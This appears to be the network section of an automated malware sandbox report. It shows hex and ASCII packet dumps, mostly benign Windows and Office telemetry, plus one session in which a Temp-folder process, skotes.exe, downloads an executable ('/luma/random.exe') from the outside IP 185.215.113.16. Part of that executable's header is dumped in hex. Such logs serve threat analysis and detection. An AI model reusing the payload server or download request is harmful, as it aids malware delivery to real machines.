Nov 22, 2024 14:45:22.806284904 CET	1236	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 22, 2024 14:45:22.806338072 CET	1236	IN	Data Raw: 47 80 00 2b 25 42 aa bd a5 64 44 8a 14 d0 b4 84 86 fd 10 b5 76 4f dd 9c b8 72 9a 38 df c6 45 25 a8 59 77 29 fe 08 73 7d b0 d7 21 96 0b f1 48 b6 34 94 21 e6 4d e5 f5 dd c1 af 58 87 90 cd ab 11 5c 3a 8f e6 92 c1 8b d0 b4 82 68 92 ec 73 11 3e 2e e6 Data Ascii: G+%BdDvOr8E%Yw)s}!H4!MX\:hs>.6 HSrBa9A\|l=eru3Fw1A19=doudZ_fi$C\Ux<S;dfWQ&sdbn&"9*WNi4_@=}t
Nov 22, 2024 14:45:22.806372881 CET	1236	IN	Data Raw: 99 87 4e 61 83 9d 39 ec f4 40 68 7e 1e 63 fa ea d7 e1 14 8b c8 18 3c e7 78 64 68 08 a3 b5 ed e5 b1 05 f7 fe 2c 52 4b 95 f4 a1 cc 37 6e 61 9b 42 ff d7 4f d2 a5 15 9d 5a 02 57 82 82 64 1b d4 f9 5a 2c 92 89 97 9c b5 dd 98 68 aa 53 f2 26 53 33 f5 e5 Data Ascii: Na9@h~c<xdh,RK7naBOZWdZ,hS&S3FeoKSS9)v&Teke);q0\|~~A',E,NgkiQ.?9ne&6:Jj1?Z,0?>>DMi)VHumgAr]ec
Nov 22, 2024 14:45:22.806411982 CET	1236	IN	Data Raw: fe fe cf 52 24 89 fa 08 d7 42 32 e1 76 52 3a 74 b3 a1 8e 52 b7 c5 11 67 7b 1a 31 01 be 22 f7 43 6c 71 f3 94 c9 74 db 4c fb c9 e6 10 71 8b 2a 72 50 25 23 a4 fa 1d 1a 1f e8 6d 15 eb c5 65 c9 95 e7 a7 98 98 07 86 ea 57 01 77 e6 59 b1 be 1b 3e aa 85 Data Ascii: R$B2vR:tRg{1"ClqtLqrP%#meWwY>EiDHruh$xx{QUMS&2muD t%?- E&q2V(L}k(5uptr-:H7U7wweBKIOwo#L
Nov 22, 2024 14:45:22.806446075 CET	1236	IN	Data Raw: 34 fe 03 61 a1 16 44 0c d8 cc 48 d8 60 8f 64 db 74 c2 8f 91 85 90 3e 82 8c 35 ed 45 ba 2d f0 2b 69 bd e5 6c 32 6e 00 c7 2f 8b e2 80 22 b8 57 56 d5 8a ae 86 3e 81 b8 0b 20 69 ab 34 85 a8 b0 d8 36 65 a4 ee cc 4c c2 8e 0c ad 04 22 ae 7f 21 b0 07 ba Data Ascii: 4aDH`dt>5E-+il2n/"WV> i46eL"!^jRw{;+B0QgZ F^(}n^lX3dYCtP}q{jWix+@?e-{RPc-7c"fH`?o
Nov 22, 2024 14:45:22.806478977 CET	121	IN	Data Raw: fa ea 8e 3f ab 32 a5 c5 dc af 25 18 9a 7e b4 f4 ac 14 ad 82 1d e0 7b 64 d5 d8 92 5d ce ce 08 d0 95 dc 4b 29 1c 8a 55 e5 4c d7 9c 0d 80 4e d7 82 62 ca 54 4c 00 6d 56 34 54 2e c0 ea f8 e3 30 08 33 9d 9e d0 1d 0e d0 5e 42 f2 b4 70 b1 66 ed 7e 38 19 Data Ascii: ?2%~{d]K)ULNbTLmV4T.03^Bpf~8 >rc;~Cw>@{`dz#~
Nov 22, 2024 14:45:22.926320076 CET	1236	IN	Data Raw: a2 fe e8 f8 19 0c 83 11 4a c7 30 52 c7 f8 6e 99 46 bb 40 6f de 19 cb 11 22 77 89 a9 7c e2 e9 09 22 73 87 7b bc 56 fb cc 68 b2 96 29 3f 52 c8 17 d3 67 62 77 39 55 fc a9 2d 8c 2e 91 e9 47 d8 42 6c 48 e5 be 15 b1 a6 48 f6 9b ef 7a 70 38 28 b6 3e 4b Data Ascii: J0RnF@o"w\|"s{Vh)?Rgbw9U-.GBlHHzp8(>KV&_Fk+j0!\&YZ!jP= >KZ!8(V?AzgJ[;D5i+VY6@Ox'RVx\|JPdhlAO(&XyHv;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50136	185.215.113.16	80	7044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:22.066549063 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 22, 2024 14:45:23.427334070 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 13:45:23 GMT Content-Type: application/octet-stream Content-Length: 1897984 Last-Modified: Fri, 22 Nov 2024 13:41:01 GMT Connection: keep-alive ETag: "674089ed-1cf600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4b 00 00 04 00 00 7f e3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?g0K@`K@\pp `b@.rsrcpr@.idata t@ 0+v@wgudgomd`0Xx@yuwjtwak K@.taggant00K"@
Nov 22, 2024 14:45:23.427401066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:45:23.427417040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:45:23.427472115 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 14:45:23.427488089 CET	1236	IN	Data Raw: c1 37 6d a5 ee 2d 55 25 a9 05 50 0e 05 2c 28 7e 0e bf bd 8c 43 c2 87 ff d6 48 06 61 4e 8a f9 ff 9f 6d 60 7e e6 cf b6 61 a9 47 34 e2 c2 34 84 b8 c8 a7 54 a6 88 07 f0 6b 2a 90 2c 23 a7 ee 59 fb a9 50 e9 83 4e 97 51 81 47 98 7b 40 53 ce eb 60 9e dc Data Ascii: 7m-U%P,(~CHaNm`~aG44Tk,#YPNQG{@S`VcK<6d dr]m]vV`%ZlNT)JAm)9{H=m?NAbX,=^\Y^&tLCF.sGmgt[!z9yd!=:kmlcdf[
Nov 22, 2024 14:45:23.427504063 CET	1236	IN	Data Raw: 12 ae 77 76 d6 e0 73 9a 0e 9a 6a 62 d5 70 3a 15 85 eb 73 a8 58 d2 45 16 56 09 02 66 c0 8f b8 a9 f9 0c 97 48 a9 f7 4c 70 30 84 90 17 c8 cb 42 e2 e5 cf 87 a1 0c e4 f3 2c 74 6c 9b 77 b0 aa 61 9c 79 f5 24 83 2a 30 85 94 19 d4 b9 ca af 3b 5e cc 46 a4 Data Ascii: wvsjbp:sXEVfHLp0B,tlway$*0;^F@DSd?Yhz^]\CAeY(~iqeL[.zODtGIb ggq~dO)F+6pS0; #0-tFQ[$zv,ywP6\|O?JF,xD.
Nov 22, 2024 14:45:23.427522898 CET	1236	IN	Data Raw: a3 ae c4 ff 24 f7 a7 7b 0c ae 5d 67 d1 49 ba 63 20 8a 8f 35 72 7c d8 9f a6 cd e5 54 ca bb 67 af db 0c ea 3b e5 9e c1 d3 be 47 ab 63 c0 43 58 f3 3e 63 b4 d3 b3 47 56 23 03 09 59 e8 fd 77 6d 88 96 d0 4c ba 8f 7a 14 71 98 cc 0a 60 46 1c 29 46 aa b4 Data Ascii: ${]gIc 5r\|Tg;GcCX>cGV#YwmLzq`F)F!(X$0??1P'XlN/r*~QNPrUp!""q`= &t~x4=6L[C u!=\~Jv3^OPx,?vM'z
Nov 22, 2024 14:45:23.427644014 CET	1236	IN	Data Raw: 1a 02 05 9f 89 cc 9b e0 ec 6f 24 c4 eb 58 c2 08 96 f1 ed 49 48 da d8 bf 90 0b 04 a9 37 42 54 d2 ac 4f b9 0f a9 47 97 2f 08 de dc f3 a5 5c 88 ef 45 db 97 73 7c 63 53 8e 77 fd bf 03 19 2c 20 d8 aa d6 dc f2 9f e7 bd ee f3 da 4f 01 a1 0c 53 de 01 56 Data Ascii: o$XIH7BTOG/\Es\|cSw, OSV-c%RtxnXt\M(B~OS\|pU\| GH4wkkhF`DzAj@3eIGLGCsX-Wh9MHxtr0^D"<kd`*Fy`
Nov 22, 2024 14:45:23.427660942 CET	1236	IN	Data Raw: 58 7f f7 fb c9 f7 11 66 ee 69 41 a7 2d c8 81 86 a6 d5 c7 3e 39 61 41 69 f1 ae 17 bf 01 db bd 75 f7 46 dc b2 06 6b 54 ea 07 48 8f e4 95 c0 e0 e7 7f 07 28 2f e3 cb 4b 3f 96 d7 63 70 08 88 05 05 22 9a d0 6f a3 c4 b5 e3 93 ba 1b ef b8 3b 5d 9a 9a f4 Data Ascii: XfiA->9aAiuFkTH(/K?cp"o;]pam<0?k:BvznF\t-,3.B1QDP(D\|U0d8^B(%0X1"[h(hX2Hz!Yz\|E50esP
Nov 22, 2024 14:45:23.427675962 CET	1236	IN	Data Raw: a9 cb 2b 8e e8 dc 04 d2 71 cb 3a e3 f4 34 6a e6 51 ce a5 ad 8f ce 45 c0 4b 0b 6c fb 05 7f 48 ff 1d 59 38 ea e3 e1 1e 51 ff 5e bc 64 29 f0 d5 66 b7 d4 18 fa 4d 04 12 ab 5f 5f 52 ce 0f 28 98 c7 ab 4b 59 ee b5 02 70 24 d0 8f 7e 3c 4d 74 21 0a 1d 08 Data Ascii: +q:4jQEKlHY8Q^d)fM__R(KYp$~<Mt!0[_[_L>FD-F$rovK%_)#2oCwOs!tlfghsRrha5WFe7e{\|(A%eS2:NZap
Nov 22, 2024 14:45:23.547050953 CET	1236	IN	Data Raw: 18 84 55 a2 00 1e 3e c4 b5 d8 47 eb 4f 47 b7 62 47 6c 21 3e e9 bc 14 ba f6 ff 96 a8 de d7 86 d1 1b 32 84 08 57 89 00 7e 3c a6 9e 7d 94 c7 e2 a0 80 85 1a 8a 88 4c ad 90 fd a1 cc fa 64 04 14 dd f7 f7 a1 88 36 39 28 e1 b1 b3 06 f5 8a 73 78 c5 b9 de Data Ascii: U>GOGbGl!>2W~<}Ld69(sxg&BYSYvM>aDO<F]K;X\4UPfC;y ,m)A^Oj~P^]8{~EImsq>(h{z' b

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49714	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:13 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6f 63 69 76 50 30 59 36 6f 30 65 66 7a 68 4d 2f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 30 39 65 32 61 31 32 30 63 62 61 30 61 32 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ocivP0Y6o0efzhM/.1Context: a09e2a120cba0a2c
2024-11-22 13:43:13 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-22 13:43:13 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6f 63 69 76 50 30 59 36 6f 30 65 66 7a 68 4d 2f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 30 39 65 32 61 31 32 30 63 62 61 30 61 32 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 4b 78 53 42 4f 6b 48 4f 75 31 66 6d 49 2b 7a 57 59 59 58 58 65 6d 67 71 61 6f 68 54 6d 37 78 6e 7a 6e 54 2b 4f 70 42 6f 4e 77 4e 44 64 2b 63 48 4e 6e 39 57 33 61 38 2b 39 53 43 61 66 2b 75 4a 75 41 6b 48 65 38 66 68 2f 61 33 69 4e 31 61 38 52 70 71 73 56 69 50 56 69 63 6d 33 43 71 56 66 66 6b 61 6c 66 6f 6a 39 78 43 59 43 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ocivP0Y6o0efzhM/.2Context: a09e2a120cba0a2c<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVKxSBOkHOu1fmI+zWYYXXemgqaohTm7xnznT+OpBoNwNDd+cHNn9W3a8+9SCaf+uJuAkHe8fh/a3iN1a8RpqsViPVicm3CqVffkalfoj9xCYC
2024-11-22 13:43:13 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6f 63 69 76 50 30 59 36 6f 30 65 66 7a 68 4d 2f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 30 39 65 32 61 31 32 30 63 62 61 30 61 32 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ocivP0Y6o0efzhM/.3Context: a09e2a120cba0a2c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-22 13:43:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-22 13:43:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 59 41 65 67 59 72 67 61 78 30 32 76 43 79 4c 4c 4b 64 53 48 68 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: YAegYrgax02vCyLLKdSHhQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:18 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:18 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 21 Nov 2024 12:25:08 GMT ETag: "0x8DD0A27899CAFB6" x-ms-request-id: 0e3600b6-201e-0096-7125-3cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134318Z-178bfbc474b9xljthC1NYCtw9400000002xg00000000cye1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:18 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-22 13:43:18 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-22 13:43:18 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-22 13:43:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-22 13:43:19 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-22 13:43:19 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-22 13:43:19 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> 